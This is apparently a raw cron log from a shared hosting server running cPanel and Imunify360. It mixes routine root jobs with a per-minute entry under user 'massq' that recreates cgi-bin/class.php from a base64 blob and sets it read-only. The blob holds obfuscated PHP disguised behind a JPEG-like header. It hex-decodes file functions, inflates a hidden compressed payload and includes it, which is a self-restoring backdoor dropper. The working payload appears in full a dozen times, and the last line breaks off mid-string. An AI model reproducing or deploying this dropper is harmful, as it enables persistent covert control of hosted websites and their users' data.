Sep  9 18:14:01 server CROND[30789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:14:01 server CROND[30790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:15:01 server CROND[31279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:15:01 server CROND[31281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:15:01 server CROND[31287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:15:01 server CROND[31293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:15:01 server CROND[31296]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 18:15:01 server CROND[31300]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 18:15:01 server CROND[31298]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 18:15:01 server CROND[31295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:15:01 server CROND[31294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:15:01 server CROND[31297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:16:01 server CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:16:01 server CROND[32262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:16:01 server CROND[32263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:17:01 server CROND[32648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:17:01 server CROND[32649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:17:01 server CROND[32650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:18:01 server CROND[575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:18:01 server CROND[577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:18:01 server CROND[576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:19:01 server CROND[1029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:19:01 server CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:19:01 server CROND[1031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:20:01 server CROND[1599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:20:01 server CROND[1601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:20:01 server CROND[1602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:20:01 server CROND[1604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:20:01 server CROND[1609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:20:01 server CROND[1608]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:20:01 server CROND[1607]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:20:01 server CROND[1606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:20:01 server CROND[1610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:21:01 server CROND[2462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:21:01 server CROND[2463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:21:01 server CROND[2464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:22:01 server CROND[2864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:22:01 server CROND[2865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:22:01 server CROND[2866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:23:01 server CROND[3254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:23:01 server CROND[3255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:23:01 server CROND[3256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:24:01 server CROND[3640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:24:01 server CROND[3641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:24:01 server CROND[3642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:25:01 server CROND[4027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:25:01 server CROND[4029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:25:01 server CROND[4032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:25:01 server CROND[4036]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 18:25:01 server CROND[4033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:25:01 server CROND[4037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:25:01 server CROND[4034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6w